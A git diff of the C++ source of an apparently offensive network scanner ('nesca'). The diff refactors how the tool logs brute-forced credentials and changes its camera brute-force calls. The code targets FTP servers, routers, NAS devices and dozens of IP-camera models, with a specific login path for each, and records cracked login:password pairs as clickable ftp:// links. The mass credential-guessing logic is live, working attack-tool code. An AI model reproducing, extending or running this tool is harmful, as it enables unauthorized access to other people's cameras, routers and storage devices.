* char log[2048] = {0}; char logEmit[2048] = {0}; - strcpy(logEmit, "[FTP]:"); - strcpy(log, "[FTP]:<font color=\"#0f62e2\">"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "</font>"); - strcat(log, "; Received: "); - strncat(log, std::to_string(recd).c_str(), 100); +// strcpy(logEmit, "[FTP]:"); +// strcpy(log, "[FTP]:<font color=\"#0f62e2\">"); +// strcat(log, ip); +// strcat(log, ":"); +// strcat(log, port); +// strcat(log, "</font>"); +// strcat(log, "; Received: "); +// strncat(log, std::to_string(recd).c_str(), 100); - lps = con._FTPLobby(ip, p, &ps); + lps = con._FTPLobby(ip, p, &ps); if(strstr(lps.other, "ROUTER") != NULL) { ++PieBA; - strcat(log, "<a href=\"ftp://"); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "@"); - strcat(log, ip); - strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "@"); - strcat(log, ip); - strcat(log, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); - strcat(log, ip); - strcat(log, "\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); - strcat(log, ps.headr); - strcat(logEmit, "<a href=\"ftp://"); - strcat(logEmit, lps.login); - strcat(logEmit, ":"); - strcat(logEmit, lps.pass); - strcat(logEmit, "@"); - strcat(logEmit, ip); - strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); - strcat(logEmit, lps.login); - strcat(logEmit, ":"); - strcat(logEmit, lps.pass); - strcat(logEmit, "@"); - strcat(logEmit, ip); - strcat(logEmit, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); - strcat(logEmit, ip); - strcat(logEmit, "/\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); + sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s\" style=\"color:#43EC00;\">[ROUTER]</a></font>%s", + ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip, ps.headr); + sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>", + lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip); + +// strcat(log, "<a href=\"ftp://"); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "@"); +// strcat(log, ip); +// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "@"); +// strcat(log, ip); +// strcat(log, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); +// strcat(log, ip); +// strcat(log, "\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); +// strcat(log, ps.headr); + +// strcat(logEmit, "<a href=\"ftp://"); +// strcat(logEmit, lps.login); +// strcat(logEmit, ":"); +// strcat(logEmit, lps.pass); +// strcat(logEmit, "@"); +// strcat(logEmit, ip); +// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); +// strcat(logEmit, lps.login); +// strcat(logEmit, ":"); +// strcat(logEmit, lps.pass); +// strcat(logEmit, "@"); +// strcat(logEmit, ip); +// strcat(logEmit, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); +// strcat(logEmit, ip); +// strcat(logEmit, "/\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); - fputsf (ip, port, log, flag, "FTP"); + fputsf (log, flag, "FTP"); fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "Router FTP detected.", cp, "FTP"); - #pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); -#pragma endregion + } else if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { ++PieBA; - strcat(log, "<a href=\"ftp://"); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "@"); - strcat(log, ip); - strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "@"); - strcat(log, ip); - strcat(log, "</span></a>"); - strcat(log, ps.headr); - strcat(logEmit, "<a href=\"ftp://"); - strcat(logEmit, lps.login); - strcat(logEmit, ":"); - strcat(logEmit, lps.pass); - strcat(logEmit, "@"); - strcat(logEmit, ip); - strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); - strcat(logEmit, lps.login); - strcat(logEmit, ":"); - strcat(logEmit, lps.pass); - strcat(logEmit, "@"); - strcat(logEmit, ip); - strcat(logEmit, "</span></a> (F:"); - strcat(logEmit, std::to_string(ps.directoryCount).c_str()); - strcat(logEmit, ")"); + sprintf(log, "[FTP]:<font color=\"#0f62e2\">%s:%s</font>; Received: %d<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a>%s", + ip, port, recd, lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.headr); + sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> (F:%d)", + lps.login, lps.pass, ip, lps.login, lps.pass, ip, ps.directoryCount); - fputsf(ip, port, log, flag, "FTP"); +// strcat(log, "<a href=\"ftp://"); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "@"); +// strcat(log, ip); +// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "@"); +// strcat(log, ip); +// strcat(log, "</span></a>"); +// strcat(log, ps.headr); + +// strcat(logEmit, "<a href=\"ftp://"); +// strcat(logEmit, lps.login); +// strcat(logEmit, ":"); +// strcat(logEmit, lps.pass); +// strcat(logEmit, "@"); +// strcat(logEmit, ip); +// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); +// strcat(logEmit, lps.login); +// strcat(logEmit, ":"); +// strcat(logEmit, lps.pass); +// strcat(logEmit, "@"); +// strcat(logEmit, ip); +// strcat(logEmit, "</span></a> (F:"); +// strcat(logEmit, std::to_string(ps.directoryCount).c_str()); +// strcat(logEmit, ")"); + + fputsf(log, flag, "FTP"); fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP"); -#pragma region QTGUI_Area + stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); -#pragma endregion + } else if(strstr(lps.login, "Unknown protocol") != NULL) { strcat(log, "; [!] USER/PASS commands failed. Dunno what to do."); - fputsf(ip, port, log, flag, ""); + fputsf(log, flag, ""); + -#pragma region QTGUI_Area stt->doEmitionFoundData(QString::fromLocal8Bit(log)); -#pragma endregion + }; } else if(flag == 21) //Eyeon { - _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Eyeon Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd, ""); } else if(flag == 22) //IP Camera control { - _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "IP Camera Control", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd, ""); } else if(flag == 23) //Network Camera BB-SC384 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Network Camera BB-SC384", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd, ""); } else if(flag == 24) //Network Camera VB-M40 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-M40", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera { - _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd, ""); } else if(flag == 26) //Sony Network Camera { - _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Sony Network Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd, ""); } else if(flag == 27) //UA Network Camera { - _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "UA Network Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 28) //Network Camera VB-M40 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-??", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 29) //LG Smart IP Device { - _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "LG Smart IP Device Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd, ""); } else if(flag == 30) //NAS { - _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "NAS", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 31) //ip cam { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 32) //IPC WEB ip cam { - _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "[IPC] WEB IP Camera", "WEB Authorization", cp, recd, "IPC"); + _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "WEB Authorization", cp, recd, "IPC"); } else if(flag == 33) //GEOvision ip cam { - _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "[GEO] WEB IP Camera", "WEB Authorization", cp, recd, "GEO"); + _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "WEB Authorization", cp, recd, "GEO"); } else if(flag == 34) //Hikvision ip cam { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd, ""); } else if(flag == 35) //EasyCam { - _specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "[EasyCam] WEB IP Camera", "WEB Authorization", cp, recd, "EasyCam"); + _specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "WEB Authorization", cp, recd, "EasyCam"); } else if(flag == 36) //Panasonic Cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 37) //Panasonic Cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 38) //Foscam { - _specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "[Foscam] IP Camera", "Web Authorization", cp, recd, "Foscam"); + _specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "Web Authorization", cp, recd, "Foscam"); } else if(flag == 39) //EagleEye { - _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "[EagleEye] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 40) //Network Camera VB-C?? { - _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "[Network Camera VB-C??] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd, ""); } else if(flag == 41) //AVIOSYS-camera { - _specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "[AVIOSYS] IP Camera", "Web Authorization", cp, recd, "AVIOSYS"); + _specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "Web Authorization", cp, recd, "AVIOSYS"); } else if(flag == 42) //NW_camera { - _specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "[NW_camera] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd, ""); } else if(flag == 43) //NW_camera { - _specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "[Micros] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd, ""); } else if(flag == 44) //Hikvision ip cam 2 { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd, ""); } else if(flag == 45) //Panasonic ip cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 46) //Buffalo disk { - _specWEBIPCAMBrute(ip, p, hl, "[Buffalo] Lan Disk", flag, "[Buffalo] Lan Disk", "Web Authorization", cp, recd, "BUFFALO"); + _specWEBIPCAMBrute(ip, p, hl, "[Buffalo] Lan Disk", flag, "Web Authorization", cp, recd, "BUFFALO"); } else if(flag == 47) //Digital Video Server { - _specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "[DVS] Camera", "Web Authorization", cp, recd, "DVS"); + _specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "Web Authorization", cp, recd, "DVS"); } else if(flag == 48) //ipCAM { - _specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "[ipCAM] Camera", "Web Authorization", cp, recd, "IPCAM"); + _specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "Web Authorization", cp, recd, "IPCAM"); } else if(flag == 49) //IEORFOREFOX { - _specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "[IEORFOREFOX] Camera", "Web Authorization", cp, recd, "IEORFOREFOX"); + _specWEBIPCAMBrute(ip, p, hl, "[IEORFOREFOX] Camera", flag, "Web Authorization", cp, recd, "IEORFOREFOX"); } else if(flag == 20) //AXIS Camera { - _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd, ""); } else if(flag == 19) //reecam cameras { - _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "ReeCam camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 18) //linksys camera { - _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Linksys camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 17) //Real-time IP Camera Monitoring System { - _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Real-time IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd, ""); } else if(flag == 11) { - _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Netwave IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 12) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd, ""); } else if(flag == 13) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd, ""); } else if(flag == 14) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd, ""); } else if(flag == 15) //For HFS { @@ -1826,37 +1860,40 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * Connector con; isActive = 1; ++AnomC1; + + lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); + sprintf(log, "[HFS]:<font color=\"#ff6600\">%s :: </font><a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">%s Pass: %s:%s</font>", + hl, ip, port, ip, port, finalstr, lps.login, lps.pass); - strcpy(log, "[HFS]:<font color=\"#ff6600\">"); - strcat(log, hl); - strcat(log, " :: </font><a href=\"http://"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "/\"><span style=\"color: #a1a1a1;\">"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">"); - strcat(log, finalstr); - strcat(log, " Pass: "); - lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); - strcat(log, lps.login); - strcat(log, ":"); - strcat(log, lps.pass); - strcat(log, "</font>"); +// strcpy(log, "[HFS]:<font color=\"#ff6600\">"); +// strcat(log, hl); +// strcat(log, " :: </font><a href=\"http://"); +// strcat(log, ip); +// strcat(log, ":"); +// strcat(log, port); +// strcat(log, "/\"><span style=\"color: #a1a1a1;\">"); +// strcat(log, ip); +// strcat(log, ":"); +// strcat(log, port); +// strcat(log, "</span></a><font color=\"#0084ff\"> T: </font><font color=\"#ff9600\">"); +// strcat(log, finalstr); +// strcat(log, " Pass: "); +// strcat(log, lps.login); +// strcat(log, ":"); +// strcat(log, lps.pass); +// strcat(log, "</font>"); fillGlobalLogData(ip, hl, port, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization"); - fputsf (ip, port, log , flag, "HFS"); + fputsf (log , flag, "HFS"); stt->doEmitionFoundData(QString::fromLocal8Bit(log)); ZeroMemory(temp, sizeof(temp)); } else if(flag == 1) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", cp, recd, ""); } else if(flag == 101) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", "Basic Authorization", cp, recd, buffcpy); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[DIGEST]", cp, recd, buffcpy); } else if(flag == 10) { @@ -1866,10 +1903,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * { putInFile(flag, ip, port, recd, finalstr, hl, cp); }; -#pragma endregion + return flag; -}; +} const char *rbuff1 = "GET "; const char *rbuff2 = " HTTP/1.1\r\nHost: "; @@ -1954,7 +1991,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - sprintf(tbuff, "%s", tempPort); + sprintf(tbuff, "%d", tempPort); strcat(mes, tbuff); } if(strlen(cookie) != 0) @@ -2087,7 +2124,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - sprintf(tbuff, "%s", tempPort); + sprintf(tbuff, "%d", tempPort); strcat(mes, tbuff); } if(strlen(cookie) != 0) @@ -2175,7 +2212,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - sprintf(tbuff, "%s", tempPort); + sprintf(tbuff, "%d", tempPort); strcat(mes, tbuff); } if(strlen(cookie) != 0) @@ -2269,7 +2306,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P if(tempPort != 80){ strcat(mes, ":"); char tbuff[16] = {0}; - sprintf(tbuff, "%s", tempPort); + sprintf(tbuff, "%d", tempPort); strcat(mes, tbuff); } if(strlen(cookie) != 0) @@ -2344,11 +2381,10 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P }; return -1; -}; +} + void _getPopupTitle(PathStr *ps, char *str) { - char res[32] = {0}; - strcat(ps->headr, "[Popup detected. Title: "); char *ptr1 = strstr(str, ","); @@ -2379,7 +2415,8 @@ void _getPopupTitle(PathStr *ps, char *str) }; strcat(ps->headr, "]"); -}; +} + void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int port) { char *ptr1 = strstr(str, tag); @@ -2421,8 +2458,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int char *ptrQuote2 = _findLast(tempBuff + 1, delim); if(ptrQuote2 != NULL) { - sz = ptrQuote2 - tempBuff; - char link[512] = {0}; + sz = ptrQuote2 - tempBuff; if(sz < 511) { if (tempBuff[0] == '.' && tempBuff[1] == '/') @@ -2455,8 +2491,7 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int strncpy(link1, ptr2 + 1, sz); char *ptrQuote3 = strstr(link1, "/"); if(ptrQuote3 != NULL) - { - char link[512] = {0}; + { strcpy(dataBuff, ptrQuote3); }; }; @@ -2469,7 +2504,8 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int stt->doEmitionRedFoundData("[JSLocator] _findFirst failed [" + QString(ip) + ":" + QString::number(port) + "]"); }; }; -}; +} + void _getJSCookie(char *dataBuff, char *str, char *ip, int port) { char *ptr1 = strstri(str, "document.cookie"); @@ -2490,7 +2526,8 @@ void _getJSCookie(char *dataBuff, char *str, char *ip, int port) }; }; }; -}; +} + int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff) { std::string redirectStr = ""; @@ -2521,7 +2558,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: return 0; }; - char *secondStr, *firstStr, *tempStr, finalstr[512] = {0}; + char finalstr[512] = {0}; if(strstri(str, "notice auth :*** looking up your hostname...") || strstri(str, "451 * :You have not registered.") @@ -2555,7 +2592,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: if(strstri(str, "top.htm?currenttime") != NULL || strstri(str, "top.htm?") != NULL ) strcat(finalstr, " [?][SecCam detected]"); -#pragma endregion + #pragma region 302 Redirects if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL @@ -2636,6 +2673,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: }; }; }; + if(strstri(str, "http-equiv=\"refresh\"") != NULL || strstri(str, "http-equiv=refresh") != NULL || strstri(str, "http-equiv='refresh'") != NULL @@ -2654,7 +2692,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: { temp = strstri(strTmp, "url="); - char *temp1 = NULL, *temp2 = NULL, temp3[128] = {0}; + char *temp2 = NULL, temp3[128] = {0}; int sz = 0; if(temp[4] == '"' || temp[4] == '\'' || temp[4] == ' ' || temp[4] == '\n' || temp[4] == '\r') @@ -2702,6 +2740,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: return 0; }; }; + if(strstri(str, "<script") != NULL) { if(strstri(str, "document.cookie") != NULL) @@ -2800,7 +2839,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: }; }; }; -#pragma endregion + if(strstri(str, "ActiveXObject") != NULL || strstri(str, ".cab") != NULL @@ -2828,8 +2867,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: { char *str1 = str; char *str2 = NULL; - char lol[128] = {0}; - char tag[16] = {0}; + char lol[128] = {0}; int AreaLen = 0; do { @@ -3049,4 +3087,4 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std: strcpy(ps->path, "/"); return 0; -}; +} diff --git a/mainResources.h b/mainResources.h index 563697b..fdcb7f1 100644 --- a/mainResources.h +++ b/mainResources.h @@ -44,10 +44,39 @@ typedef hostent HOSTENT; typedef struct linger LINGER; typedef int BOOL; -#define INVALID_SOCKET (SOCKET)(~0) -#define SOCKET_ERROR (-1) -#define SD_BOTH 0x02 -#define FAR far +#define SD_BOTH 0x02 +#ifndef FAR +#define FAR far +#endif + +#ifndef INVALID_SOCKET +#define INVALID_SOCKET (SOCKET)(~0) +#endif +#ifndef SOCKET_ERROR +#define SOCKET_ERROR (-1) +#endif +#ifndef EINPROGRESS +#define EINPROGRESS WSAEINPROGRESS //10036 +#endif +#ifndef ENOTSOCK +#define ENOTSOCK WSAENOTSOCK //10038 +#endif +#ifndef EADDRNOTAVAIL +#define EADDRNOTAVAIL WSAEADDRNOTAVAIL //10049 +#endif +#ifndef ECONNRESET +#define ECONNRESET WSAECONNRESET //10054 +#endif +#ifndef ENOBUFS +#define ENOBUFS WSAENOBUFS //10055 +#endif +#ifndef ETIMEDOUT +#define ETIMEDOUT WSAETIMEDOUT //10060 +#endif +#ifndef ECONNREFUSED +#define ECONNREFUSED WSAECONNREFUSED //10061 +#endif + #endif #define MAX_ADDR_LEN 128 diff --git a/nesca.pro b/nesca.pro index 83fa075..50c5ce1 100644 --- a/nesca.pro +++ b/nesca.pro @@ -4,16 +4,14 @@ # #------------------------------------------------- -QT += core gui +QT += core gui multimedia greaterThan(QT_MAJOR_VERSION, 4): QT += widgets -PKGCONFIG += openssl CONFIG += c++11 TARGET = nesca TEMPLATE = app -LIBS += -lssh INCLUDEPATH += /opt/Qt5.3.2/5.3/gcc_64/include/QtWidgets/ SOURCES +=\ main.cpp \ @@ -71,3 +69,11 @@ RESOURCES += \ OTHER_FILES += \ nesca_3.rc + +unix|win32: LIBS += -lssl + +unix|win32: LIBS += -lssh + +unix|win32: LIBS += -lcrypto + +unix|win32: LIBS += -lpthread diff --git a/nesca_3.cpp b/nesca_3.cpp index 4577df6..74b78f5 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -51,8 +51,6 @@ bool smBit_8 = false; bool debugFileOK = false; bool privateMsgFlag = false; -static char *argv[] = {0}; -static int argc = 0; char inputStr[256] = {0}; bool proxyEnabledFlag = false; bool disableBlink = false; @@ -217,7 